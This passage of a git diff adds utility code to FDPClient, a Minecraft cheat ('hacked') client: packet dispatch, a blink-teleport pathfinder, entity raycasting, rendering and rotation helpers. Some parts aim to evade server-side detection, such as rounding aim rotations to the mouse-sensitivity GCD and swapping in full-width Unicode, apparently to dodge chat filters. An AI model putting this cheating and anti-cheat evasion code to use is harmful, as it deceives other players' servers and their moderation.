S1DPacketEntityEffect -> { + netHandler.handleEntityEffect(packet) + } + + is S1EPacketRemoveEntityEffect -> { + netHandler.handleRemoveEntityEffect(packet) + } + + is S1FPacketSetExperience -> { + netHandler.handleSetExperience(packet) + } + + is S20PacketEntityProperties -> { + netHandler.handleEntityProperties(packet) + } + + is S21PacketChunkData -> { + netHandler.handleChunkData(packet) + } + + is S22PacketMultiBlockChange -> { + netHandler.handleMultiBlockChange(packet) + } + + is S23PacketBlockChange -> { + netHandler.handleBlockChange(packet) + } + + is S24PacketBlockAction -> { + netHandler.handleBlockAction(packet) + } + + is S25PacketBlockBreakAnim -> { + netHandler.handleBlockBreakAnim(packet) + } + + is S26PacketMapChunkBulk -> { + netHandler.handleMapChunkBulk(packet) + } + + is S27PacketExplosion -> { + netHandler.handleExplosion(packet) + } + + is S28PacketEffect -> { + netHandler.handleEffect(packet) + } + + is S29PacketSoundEffect -> { + netHandler.handleSoundEffect(packet) + } + + is S2APacketParticles -> { + netHandler.handleParticles(packet) + } + + is S2BPacketChangeGameState -> { + netHandler.handleChangeGameState(packet) + } + + is S2CPacketSpawnGlobalEntity -> { + netHandler.handleSpawnGlobalEntity(packet) + } + + is S2DPacketOpenWindow -> { + netHandler.handleOpenWindow(packet) + } + + is S2EPacketCloseWindow -> { + netHandler.handleCloseWindow(packet) + } + + is S2FPacketSetSlot -> { + netHandler.handleSetSlot(packet) + } + + is S30PacketWindowItems -> { + netHandler.handleWindowItems(packet) + } + + is S31PacketWindowProperty -> { + netHandler.handleWindowProperty(packet) + } + + is S32PacketConfirmTransaction -> { + netHandler.handleConfirmTransaction(packet) + } + + is S33PacketUpdateSign -> { + netHandler.handleUpdateSign(packet) + } + + is S34PacketMaps -> { + netHandler.handleMaps(packet) + } + + is S35PacketUpdateTileEntity -> { + netHandler.handleUpdateTileEntity(packet) + } + + is S36PacketSignEditorOpen -> { + netHandler.handleSignEditorOpen(packet) + } + + is S37PacketStatistics -> { + netHandler.handleStatistics(packet) + } + + is S38PacketPlayerListItem -> { + netHandler.handlePlayerListItem(packet) + } + + is S39PacketPlayerAbilities -> { + netHandler.handlePlayerAbilities(packet) + } + + is S3APacketTabComplete -> { + netHandler.handleTabComplete(packet) + } + + is S3BPacketScoreboardObjective -> { + netHandler.handleScoreboardObjective(packet) + } + + is S3CPacketUpdateScore -> { + netHandler.handleUpdateScore(packet) + } + + is S3DPacketDisplayScoreboard -> { + netHandler.handleDisplayScoreboard(packet) + } + + is S3EPacketTeams -> { + netHandler.handleTeams(packet) + } + + is S3FPacketCustomPayload -> { + netHandler.handleCustomPayload(packet) + } + + is S40PacketDisconnect -> { + netHandler.handleDisconnect(packet) + } + + is S41PacketServerDifficulty -> { + netHandler.handleServerDifficulty(packet) + } + + is S42PacketCombatEvent -> { + netHandler.handleCombatEvent(packet) + } + + is S43PacketCamera -> { + netHandler.handleCamera(packet) + } + + is S44PacketWorldBorder -> { + netHandler.handleWorldBorder(packet) + } + + is S45PacketTitle -> { + netHandler.handleTitle(packet) + } + + is S46PacketSetCompressionLevel -> { + netHandler.handleSetCompressionLevel(packet) + } + + is S47PacketPlayerListHeaderFooter -> { + netHandler.handlePlayerListHeaderFooter(packet) + } + + is S48PacketResourcePackSend -> { + netHandler.handleResourcePack(packet) + } + + is S49PacketUpdateEntityNBT -> { + netHandler.handleEntityNBT(packet) + } + + else -> { + throw IllegalArgumentException("Unable to match packet type to handle: ${packet.javaClass}") + } + } + } + + fun getPacketType(packet: Packet<*>): PacketType { + val className = packet.javaClass.simpleName + if (className.startsWith("C", ignoreCase = true)) { + return PacketType.CLIENTSIDE + } else if (className.startsWith("S", ignoreCase = true)) { + return PacketType.SERVERSIDE + } + // idk... + return PacketType.UNKNOWN + } + + enum class PacketType { + SERVERSIDE, + CLIENTSIDE, + UNKNOWN + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/PathUtils.java b/src/main/java/net/ccbluex/liquidbounce/utils/PathUtils.java new file mode 100644 index 0000000..5c55981 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/PathUtils.java @@ -0,0 +1,99 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils; + +import me.liuli.path.Cell; +import me.liuli.path.Pathfinder; +import net.ccbluex.liquidbounce.utils.block.MinecraftWorldProvider; +import net.minecraft.util.MathHelper; +import net.minecraft.util.Vec3; + +import javax.vecmath.Vector3d; +import java.util.ArrayList; +import java.util.List; + +public final class PathUtils extends MinecraftInstance { + public static List<Vec3> findBlinkPath(final double tpX, final double tpY, final double tpZ){ + return findBlinkPath(tpX, tpY, tpZ,5); + } + + public static List<Vec3> findBlinkPath(final double tpX, final double tpY, final double tpZ,final double dist){ + return findBlinkPath(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, tpX, tpY, tpZ, dist); + } + + public static List<Vec3> findBlinkPath(double curX, double curY, double curZ, final double tpX, final double tpY, final double tpZ, final double dashDistance) { + final MinecraftWorldProvider worldProvider = new MinecraftWorldProvider(mc.theWorld); + final Pathfinder pathfinder = new Pathfinder(new Cell((int)curX, (int)curY, (int)curZ), new Cell((int)tpX, (int)tpY, (int)tpZ), + Pathfinder.COMMON_NEIGHBORS, worldProvider); + + return simplifyPath(pathfinder.findPath(3000), dashDistance, worldProvider); + } + + public static ArrayList<Vec3> simplifyPath(final ArrayList<Cell> path, final double dashDistance, final MinecraftWorldProvider worldProvider) { + final ArrayList<Vec3> finalPath = new ArrayList<>(); + + Cell cell = path.get(0); + Vec3 vec3; + Vec3 lastLoc = new Vec3(cell.x + 0.5, cell.y, cell.z + 0.5); + Vec3 lastDashLoc = lastLoc; + for (int i = 1; i < path.size() - 1; i++) { + cell = path.get(i); + vec3 = new Vec3(cell.x + 0.5, cell.y, cell.z + 0.5); + boolean canContinue = true; + if (vec3.squareDistanceTo(lastDashLoc) > dashDistance * dashDistance) { + canContinue = false; + } else { + double smallX = Math.min(lastDashLoc.xCoord, vec3.xCoord); + double smallY = Math.min(lastDashLoc.yCoord, vec3.yCoord); + double smallZ = Math.min(lastDashLoc.zCoord, vec3.zCoord); + double bigX = Math.max(lastDashLoc.xCoord, vec3.xCoord); + double bigY = Math.max(lastDashLoc.yCoord, vec3.yCoord); + double bigZ = Math.max(lastDashLoc.zCoord, vec3.zCoord); + cordsLoop: + for (int x = (int) smallX; x <= bigX; x++) { + for (int y = (int) smallY; y <= bigY; y++) { + for (int z = (int) smallZ; z <= bigZ; z++) { + if (worldProvider.isBlocked(x, y, z)) { + canContinue = false; + break cordsLoop; + } + } + } + } + } + if (!canContinue) { + finalPath.add(lastLoc); + lastDashLoc = lastLoc; + } + lastLoc = vec3; + } + + return finalPath; + } + + public static List<Vector3d> findPath(final double tpX, final double tpY, final double tpZ, final double offset) { + final List<Vector3d> positions = new ArrayList<>(); + final double steps = Math.ceil(getDistance(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, tpX, tpY, tpZ) / offset); + + final double dX = tpX - mc.thePlayer.posX; + final double dY = tpY - mc.thePlayer.posY; + final double dZ = tpZ - mc.thePlayer.posZ; + + for (double d = 1D; d <= steps; ++d) { + positions.add(new Vector3d(mc.thePlayer.posX + (dX * d) / steps, mc.thePlayer.posY + (dY * d) / steps, mc.thePlayer.posZ + (dZ * d) / steps)); + } + + return positions; + } + + private static double getDistance(final double x1, final double y1, final double z1, final double x2, final double y2, final double z2) { + final double xDiff = x1 - x2; + final double yDiff = y1 - y2; + final double zDiff = z1 - z2; + return MathHelper.sqrt_double(xDiff * xDiff + yDiff * yDiff + zDiff * zDiff); + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/PlayerUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/PlayerUtils.kt new file mode 100644 index 0000000..b44cba4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/PlayerUtils.kt @@ -0,0 +1,104 @@ +package net.ccbluex.liquidbounce.utils + +import kevin.utils.multiply +import net.ccbluex.liquidbounce.features.module.modules.client.Animations +import net.ccbluex.liquidbounce.utils.MinecraftInstance.mc +import net.ccbluex.liquidbounce.utils.extensions.eyes +import net.minecraft.block.BlockSlime +import net.minecraft.client.entity.EntityPlayerSP +import net.minecraft.entity.Entity +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.player.EntityPlayer +import net.minecraft.item.ItemBlock +import net.minecraft.item.ItemBucketMilk +import net.minecraft.item.ItemFood +import net.minecraft.item.ItemPotion +import net.minecraft.potion.Potion +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.MathHelper +import net.minecraft.util.MovementInput + +object PlayerUtils { + fun randomUnicode(str: String): String { + val stringBuilder = StringBuilder() + for (c in str.toCharArray()) { + if (Math.random()> 0.5 && c.code in 33..128) { + stringBuilder.append(Character.toChars(c.code + 65248)) + } else { + stringBuilder.append(c) + } + } + return stringBuilder.toString() + } + fun EntityPlayer.stopXZ() { + mc.thePlayer.motionZ = 0.0 + mc.thePlayer.motionX = 0.0 + } + fun getIncremental(`val`: Double, inc: Double): Double { + val one = 1.0 / inc + return Math.round(`val` * one) / one + } + fun getAr(player : EntityLivingBase):Double{ + var arPercentage: Double = (player.totalArmorValue / player.maxHealth).toDouble() + arPercentage = MathHelper.clamp_double(arPercentage, 0.0, 1.0) + return 100 * arPercentage + } + fun EntityPlayer.getPing(): Int { + val playerInfo = mc.netHandler.getPlayerInfo(uniqueID) + return playerInfo?.responseTime ?: 0 + } + fun getHp(player : EntityLivingBase):Double{ + val heal = player.health.toInt().toFloat() + var hpPercentage: Double = (heal / player.maxHealth).toDouble() + hpPercentage = MathHelper.clamp_double(hpPercentage, 0.0, 1.0) + return 100 * hpPercentage + } + fun AxisAlignedBB.getLookingTargetRange(thePlayer: EntityPlayerSP, rotation: Rotation? = null, range: Double=6.0): Double { + val eyes = thePlayer.eyes + val movingObj = this.calculateIntercept(eyes, (rotation ?: RotationUtils.bestServerRotation())!!.toDirection().multiply(range).add(eyes)) ?: return Double.MAX_VALUE + return movingObj.hitVec.distanceTo(eyes) + } + fun isUsingFood(): Boolean { + val usingItem = mc.thePlayer.itemInUse.item + return if (mc.thePlayer.itemInUse != null) { + mc.thePlayer.isUsingItem && (usingItem is ItemFood || usingItem is ItemBucketMilk || usingItem is ItemPotion) + } else false + } + fun isBlockUnder(): Boolean { + if (mc.thePlayer.posY < 0) return false + var off = 0 + while (off < mc.thePlayer.posY.toInt() + 2) { + val bb: AxisAlignedBB = mc.thePlayer.entityBoundingBox + .offset(0.0, -off.toDouble(), 0.0) + if (mc.theWorld.getCollidingBoundingBoxes( + mc.thePlayer, + bb + ).isNotEmpty() + ) { + return true + } + off += 2 + } + return false + } + + fun findSlimeBlock(): Int? { + for (i in 0..8) { + val itemStack = mc.thePlayer.inventory.getStackInSlot(i) + if (itemStack != null && itemStack.item != null) if (itemStack.item is ItemBlock) { + val block = itemStack.item as ItemBlock + if (block.getBlock() is BlockSlime) return Integer.valueOf(i) + } + } + return Integer.valueOf(-1) + } + fun swing() { + val player: EntityPlayerSP = mc.thePlayer + val swingEnd = (if (player.isPotionActive(Potion.digSpeed)) (6 - (1 + player.getActivePotionEffect(Potion.digSpeed).amplifier)) else (if (player.isPotionActive(Potion.digSlowdown)) (6 + (1 + player.getActivePotionEffect(Potion.digSlowdown).amplifier) * 2) else 6)) * if (Animations.state) Animations.swingSpeedValue.get() else 1F + if (!player.isSwingInProgress || player.swingProgressInt >= swingEnd / 2 || player.swingProgressInt < 0) { + player.swingProgressInt = -1 + player.isSwingInProgress = true + } + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/RainbowShader.kt b/src/main/java/net/ccbluex/liquidbounce/utils/RainbowShader.kt new file mode 100644 index 0000000..f3841d7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/RainbowShader.kt @@ -0,0 +1,65 @@ +/* + * LiquidBounce Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge. + * https://github.com/CCBlueX/LiquidBounce/ + */ +package net.ccbluex.liquidbounce.utils + +import net.ccbluex.liquidbounce.utils.render.shader.Shader +import org.lwjgl.opengl.GL20.glUniform1f +import org.lwjgl.opengl.GL20.glUniform2f +import java.io.Closeable + +class RainbowShader : Shader("rainbow_shader.frag"), Closeable { + private var isInUse = false + + var strengthX = 0f + var strengthY = 0f + var offset = 0f + + override fun setupUniforms() { + setupUniform("offset") + setupUniform("strength") + } + + override fun updateUniforms() { + glUniform2f(getUniform("strength"), strengthX, strengthY) + glUniform1f(getUniform("offset"), offset) + } + + override fun startShader() { + super.startShader() + + isInUse = true + } + + override fun stopShader() { + super.stopShader() + + isInUse = false + } + + override fun close() { + if (isInUse) + stopShader() + } + + companion object { + val INSTANCE = RainbowShader() + + @Suppress("NOTHING_TO_INLINE") + inline fun begin(enable: Boolean, x: Float, y: Float, offset: Float): RainbowShader { + val instance = INSTANCE + + if (enable) { + instance.strengthX = x + instance.strengthY = y + instance.offset = offset + + instance.startShader() + } + + return instance + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/RaycastUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/RaycastUtils.kt new file mode 100644 index 0000000..1a7a88c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/RaycastUtils.kt @@ -0,0 +1,165 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils + +import com.google.common.base.Predicate +import com.google.common.base.Predicates +import net.ccbluex.liquidbounce.utils.RotationUtils.Companion.getVectorForRotation +import net.ccbluex.liquidbounce.utils.RotationUtils.Companion.serverRotation +import net.ccbluex.liquidbounce.utils.extensions.eyes +import net.ccbluex.liquidbounce.utils.extensions.hitBox +import net.minecraft.entity.Entity +import net.minecraft.entity.player.EntityPlayer +import net.minecraft.util.* + +object RaycastUtils : MinecraftInstance() { + + @JvmStatic + @JvmOverloads + fun raycastEntity( + range: Double, + yaw: Float = serverRotation!!.yaw, + pitch: Float = serverRotation!!.pitch, + entityFilter: (Entity) -> Boolean + ): Entity? { + val renderViewEntity = mc.renderViewEntity + + if (renderViewEntity != null && mc.theWorld != null) { + var blockReachDistance = range + val eyePosition = renderViewEntity.eyes + val entityLook = getVectorForRotation(Rotation(yaw, pitch)) + val vec = eyePosition.addVector( + entityLook.xCoord * blockReachDistance, + entityLook.yCoord * blockReachDistance, + entityLook.zCoord * blockReachDistance + ) + + val entityList = mc.theWorld.getEntitiesInAABBexcluding( + renderViewEntity, renderViewEntity.entityBoundingBox.addCoord( + entityLook.xCoord * blockReachDistance, + entityLook.yCoord * blockReachDistance, + entityLook.zCoord * blockReachDistance + ).expand(1.0, 1.0, 1.0) + ) { + it != null && (it !is EntityPlayer || !it.isSpectator) && it.canBeCollidedWith() + } + + var pointedEntity: Entity? = null + + for (entity in entityList) { + if (!entityFilter(entity)) continue + + val checkEntity = { + val axisAlignedBB = entity.hitBox + + val movingObjectPosition = axisAlignedBB.calculateIntercept(eyePosition, vec) + + if (axisAlignedBB.isVecInside(eyePosition)) { + if (blockReachDistance >= 0.0) { + pointedEntity = entity + blockReachDistance = 0.0 + } + } else if (movingObjectPosition != null) { + val eyeDistance = eyePosition.distanceTo(movingObjectPosition.hitVec) + + if (eyeDistance < blockReachDistance || blockReachDistance == 0.0) { + if (entity == renderViewEntity.ridingEntity && !renderViewEntity.canRiderInteract()) { + if (blockReachDistance == 0.0) pointedEntity = entity + } else { + pointedEntity = entity + blockReachDistance = eyeDistance + } + } + } + + false + } + + // Check newest entity first + checkEntity() + } + + return pointedEntity + } + + return null + } + fun raycastEntity(range: Double, yaw: Float, pitch: Float, entityFilter: IEntityFilter): Entity? { + val renderViewEntity = mc.renderViewEntity + + if (renderViewEntity != null && mc.theWorld != null) { + var blockReachDistance = range + val eyePosition = renderViewEntity.getPositionEyes(1f) + + val yawCos = MathHelper.cos(-yaw * 0.017453292f - Math.PI.toFloat()) + val yawSin = MathHelper.sin(-yaw * 0.017453292f - Math.PI.toFloat()) + val pitchCos = -MathHelper.cos(-pitch * 0.017453292f) + val pitchSin = MathHelper.sin(-pitch * 0.017453292f) + + val entityLook = Vec3((yawSin * pitchCos).toDouble(), pitchSin.toDouble(), (yawCos * pitchCos).toDouble()) + val vector = eyePosition.addVector( + entityLook.xCoord * blockReachDistance, + entityLook.yCoord * blockReachDistance, + entityLook.zCoord * blockReachDistance + ) + val entityList = mc.theWorld.getEntitiesInAABBexcluding( + renderViewEntity, + renderViewEntity.entityBoundingBox.addCoord( + entityLook.xCoord * blockReachDistance, + entityLook.yCoord * blockReachDistance, + entityLook.zCoord * blockReachDistance + ).expand(1.0, 1.0, 1.0), + Predicates.and(EntitySelectors.NOT_SPECTATING, + Predicate { obj: Entity? -> obj!!.canBeCollidedWith() }) + ) + + var pointedEntity: Entity? = null + + for (entity in entityList) { + if (!entityFilter.canRaycast(entity)) continue + + val collisionBorderSize = entity.collisionBorderSize + val axisAlignedBB = entity.entityBoundingBox.expand( + collisionBorderSize.toDouble(), + collisionBorderSize.toDouble(), + collisionBorderSize.toDouble() + ) + val movingObjectPosition = axisAlignedBB.calculateIntercept(eyePosition, vector) + + if (axisAlignedBB.isVecInside(eyePosition)) { + if (blockReachDistance >= 0.0) { + pointedEntity = entity + blockReachDistance = 0.0 + } + } else if (movingObjectPosition != null) { + val eyeDistance = eyePosition.distanceTo(movingObjectPosition.hitVec) + + if (eyeDistance < blockReachDistance || blockReachDistance == 0.0) { + if (entity === renderViewEntity.ridingEntity && !renderViewEntity.canRiderInteract()) { + if (blockReachDistance == 0.0) pointedEntity = entity + } else { + pointedEntity = entity + blockReachDistance = eyeDistance + } + } + } + } + + return pointedEntity + } + + return null + } + fun raycastEntity(range: Double, entityFilter: IEntityFilter?): Entity? { + return raycastEntity( + range, RotationUtils.targetRotation!!.yaw, RotationUtils.targetRotation!!.pitch, + entityFilter!! + ) + } + interface IEntityFilter { + fun canRaycast(entity: Entity?): Boolean + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/Rectangle.kt b/src/main/java/net/ccbluex/liquidbounce/utils/Rectangle.kt new file mode 100644 index 0000000..0041ef1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/Rectangle.kt @@ -0,0 +1,18 @@ +package net.ccbluex.liquidbounce.utils + +import java.awt.Point +import kotlin.Float.Companion.NaN + +class Rectangle(var x: Float = NaN, var y: Float = NaN, var width: Float = NaN, var height: Float = NaN) { + constructor(rect: Rectangle) : this(rect.x, rect.y, rect.width, rect.height) + + fun contains(point: Point) = point.x.toFloat() in x..x + width && point.y.toFloat() in y..y + height + fun contains(x: Float, y: Float) = contains(Point(x.toInt(), y.toInt())) + fun contains(x: Int, y: Int) = contains(Point(x.toFloat().toInt(), y.toFloat().toInt())) + + val x2 + get() = x + width + + val y2 + get() = y + height +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/RegexUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/RegexUtils.kt new file mode 100644 index 0000000..c127bd4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/RegexUtils.kt @@ -0,0 +1,43 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils + +import java.math.BigDecimal +import java.math.RoundingMode +import java.util.regex.Matcher +import java.util.regex.Pattern + +object RegexUtils { + fun match(matcher: Matcher): Array<String> { + val result = mutableListOf<String>() + + while (matcher.find()) { + result.add(matcher.group()) + } + + return result.toTypedArray() + } + + fun match(text: String, pattern: Pattern): Array<String> { + return match(pattern.matcher(text)) + } + + fun match(text: String, pattern: String): Array<String> { + return match(text, Pattern.compile(pattern)) + } + + /** + * Rounds a double. From https://stackoverflow.com/a/2808648/9140494 + * + * @param value the value to be rounded + * @param places Decimal places + * @return The rounded value + */ + fun round(value: Double, places: Int): Double { + require(places >= 0) + return BigDecimal.valueOf(value).setScale(places, RoundingMode.HALF_UP).toDouble() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/RenderWings.java b/src/main/java/net/ccbluex/liquidbounce/utils/RenderWings.java new file mode 100644 index 0000000..ae4d29f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/RenderWings.java @@ -0,0 +1,90 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.client.Wings; +import net.ccbluex.liquidbounce.utils.render.ColorUtils; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.client.Minecraft; +import net.minecraft.client.model.ModelBase; +import net.minecraft.client.model.ModelRenderer; +import net.minecraft.util.ResourceLocation; +import org.lwjgl.opengl.GL11; + +import java.awt.*; + +public class RenderWings extends ModelBase { + Minecraft mc = Minecraft.getMinecraft(); + private ResourceLocation location; + private final ModelRenderer wing; + private final ModelRenderer wingTip; + private final boolean playerUsesFullHeight; + final Wings Wings = FDPClient.moduleManager.getModule(Wings.class); + String WingMode = Wings.getWingStyle().get(); + + public RenderWings() { + if(WingMode.equals("Dragon")) { this.location = new ResourceLocation("fdpclient/wings/DragonWings.png"); } else if(WingMode.equals("Simple")) { this.location = new ResourceLocation("fdpclient/wings/NeonWings.png"); } + this.playerUsesFullHeight = true; + this.setTextureOffset("wing.bone", 0, 0); + this.setTextureOffset("wing.skin", -10, 8); + this.setTextureOffset("wingtip.bone", 0, 5); + this.setTextureOffset("wingtip.skin", -10, 18); + this.wing = new ModelRenderer(this, "wing"); + this.wing.setTextureSize(30, 30); + this.wing.setRotationPoint(-2.0F, 0.0F, 0.0F); + this.wing.addBox("bone", -10.0F, -1.0F, -1.0F, 10, 2, 2); + this.wing.addBox("skin", -10.0F, 0.0F, 0.5F, 10, 0, 10); + this.wingTip = new ModelRenderer(this, "wingtip"); + this.wingTip.setTextureSize(30, 30); + this.wingTip.setRotationPoint(-10.0F, 0.0F, 0.0F); + this.wingTip.addBox("bone", -10.0F, -0.5F, -0.5F, 10, 1, 1); + this.wingTip.addBox("skin", -10.0F, 0.0F, 0.5F, 10, 0, 10); + this.wing.addChild(this.wingTip); + } + public void renderWings(float partialTicks) { + double scale = 100 / 100.0D; + double rotate = this.interpolate( mc.thePlayer.prevRenderYawOffset, mc.thePlayer.renderYawOffset, partialTicks); + GL11.glPushMatrix(); + GL11.glScaled(-scale, -scale, scale); + GL11.glRotated(180.0D + rotate, 0.0D, 1.0D, 0.0D); + GL11.glTranslated(0.0, (-(this.playerUsesFullHeight ? 1.45 : 1.25)) / scale, 0.0); + GL11.glTranslated(0.0D, 0.0D, 0.2D / scale); + if (mc.thePlayer.isSneaking()) { + GL11.glTranslated( 0.0, 0.125 / scale, 0.0); + } + if(Wings.getColourType().get().equals("Chroma")){ RenderUtils.glColor(ColorUtils.rainbow(), 255F);} else if(Wings.getColourType().get().equals("Custom")){RenderUtils.glColor(new Color(Wings.getCR().get(), Wings.getCG().get(), Wings.getCB().get()), 255F);} else { GL11.glColor3f(1,1,1);} + this.mc.getTextureManager().bindTexture(this.location); + + for (int j = 0; j < 2; ++j) { + GL11.glEnable(2884); + float f11 = (float) (System.currentTimeMillis() % 1000L) / 1000.0F * 3.1415927F * 2.0F; + this.wing.rotateAngleX = (float) Math.toRadians(-80.0D) - (float) Math.cos(f11) * 0.2F; + this.wing.rotateAngleY = (float) Math.toRadians(20.0D) + (float) Math.sin(f11) * 0.4F; + this.wing.rotateAngleZ = (float) Math.toRadians(20.0D); + this.wingTip.rotateAngleZ = -((float) (Math.sin(f11 + 2.0F) + 0.5D)) * 0.75F; + this.wing.render(0.0625F); + GL11.glScalef(-1.0F, 1.0F, 1.0F); + if (j == 0) { + GL11.glCullFace(1028); + } + } + + GL11.glCullFace(1029); + GL11.glDisable(2884); + GL11.glColor3f(255.0F, 255.0F, 255.0F); + GL11.glPopMatrix(); + } + + private double interpolate(float yaw1, float yaw2, float percent) { + double f = (yaw1 + (yaw2 - yaw1) * percent) % 360.0D; + if (f < 0.0F) { + f += 360.0F; + } + + return f; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/RollingArrayLongBuffer.java b/src/main/java/net/ccbluex/liquidbounce/utils/RollingArrayLongBuffer.java new file mode 100644 index 0000000..91272e8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/RollingArrayLongBuffer.java @@ -0,0 +1,50 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils; + +/** + * A buffer which stores it's contents in an array. + * You can only add contents to it. If you add more elements than it can hold it will overflow and + * overwrite the first element. Made to improve performance for time measurements. + * + * @author superblaubeere27 + */ +public class RollingArrayLongBuffer { + private final long[] contents; + private int currentIndex = 0; + + public RollingArrayLongBuffer(int length) { + this.contents = new long[length]; + } + + /** + * Adds an element to the buffer + * + * @param l The element to be added + */ + public void add(long l) { + currentIndex = (currentIndex + 1) % contents.length; + contents[currentIndex] = l; + } + + /** + * Gets the count of elements added in a row + * which are higher than l + * + * @param l The threshold timestamp + * @return The count + */ + public int getTimestampsSince(long l) { + for (int i = 0; i < contents.length; i++) { + if (contents[currentIndex < i ? contents.length - i + currentIndex : currentIndex - i] < l) { + return i; + } + } + + // If every element is lower than l, return the array length + return contents.length; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/Rotation.kt b/src/main/java/net/ccbluex/liquidbounce/utils/Rotation.kt new file mode 100644 index 0000000..06e2fc4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/Rotation.kt @@ -0,0 +1,136 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils + +import net.ccbluex.liquidbounce.event.StrafeEvent +import net.ccbluex.liquidbounce.utils.MinecraftInstance.mc +import net.ccbluex.liquidbounce.utils.block.PlaceInfo +import net.minecraft.entity.player.EntityPlayer +import net.minecraft.util.MathHelper +import net.minecraft.util.Vec3 +import kotlin.math.* + +/** + * Rotations + */ +data class Rotation(var yaw: Float, var pitch: Float) { + + /** + * Set rotations to [player] + */ + fun toPlayer(player: EntityPlayer = mc.thePlayer, changeYaw: Boolean = true, changePitch: Boolean = true) { + if (yaw.isNaN() || pitch.isNaN() || pitch > 90 || pitch < -90) return + + fixedSensitivity(mc.gameSettings.mouseSensitivity) + + if (changeYaw) player.rotationYaw = yaw + if (changePitch) player.rotationPitch = pitch + } + + /** + * Patch gcd exploit in aim + * + * @see net.minecraft.client.renderer.EntityRenderer.updateCameraAndRender + */ + fun fixedSensitivity(sensitivity: Float = mc.gameSettings.mouseSensitivity): Rotation { + val f = sensitivity * 0.6F + 0.2F + val gcd = f * f * f * 1.2F + + // get previous rotation + val rotation = RotationUtils.serverRotation + + // fix yaw + var deltaYaw = yaw - rotation!!.yaw + deltaYaw -= deltaYaw % gcd + yaw = rotation.yaw + deltaYaw + + // fix pitch + var deltaPitch = pitch - rotation.pitch + deltaPitch -= deltaPitch % gcd + pitch = rotation.pitch + deltaPitch + return this + } + + fun toDirection(): Vec3 { + val f: Float = MathHelper.cos(-yaw * 0.017453292f - Math.PI.toFloat()) + val f1: Float = MathHelper.sin(-yaw * 0.017453292f - Math.PI.toFloat()) + val f2: Float = -MathHelper.cos(-pitch * 0.017453292f) + val f3: Float = MathHelper.sin(-pitch * 0.017453292f) + return Vec3((f1 * f2).toDouble(), f3.toDouble(), (f * f2).toDouble()) + } + + override fun toString(): String { + return "Rotation(yaw=$yaw, pitch=$pitch)" + } + + /** + * Apply strafe to player + * + * @author bestnub + */ + fun applyStrafeToPlayer(event: StrafeEvent, strict: Boolean = false) { + val player = mc.thePlayer + + val diff = (player.rotationYaw - yaw).toRadians() + + val friction = event.friction + + var calcForward: Float + var calcStrafe: Float + + if (!strict) { + // Remove modifier, replay the updatePlayerMoveState() logic + val (strafe, forward) = Pair(event.strafe / 0.98f, event.forward / 0.98f) + + // Filter out previous sneak / block input modifications by rounding inputs up + val modifiedForward = ceil(abs(forward)) * forward.sign + val modifiedStrafe = ceil(abs(strafe)) * strafe.sign + + // Remake the rotation-based input using the modified inputs + calcForward = round(modifiedForward * cos(diff) + modifiedStrafe * sin(diff)) + calcStrafe = round(modifiedStrafe * cos(diff) - modifiedForward * sin(diff)) + + // Was the user sneaking? Blocking? Both? Neither? + val f = if (event.forward != 0f) event.forward else event.strafe + + // Apply original modifications back + calcForward *= abs(f) + calcStrafe *= abs(f) + } else { + calcForward = event.forward + calcStrafe = event.strafe + } + + var d = calcStrafe * calcStrafe + calcForward * calcForward + + if (d >= 1.0E-4f) { + d = friction / sqrt(d).coerceAtLeast(1f) + + calcStrafe *= d + calcForward *= d + + val yawRad = yaw.toRadians() + val yawSin = sin(yawRad) + val yawCos = cos(yawRad) + + player.motionX += calcStrafe * yawCos - calcForward * yawSin + player.motionZ += calcForward * yawCos + calcStrafe * yawSin + } + } + fun cloneSelf(): 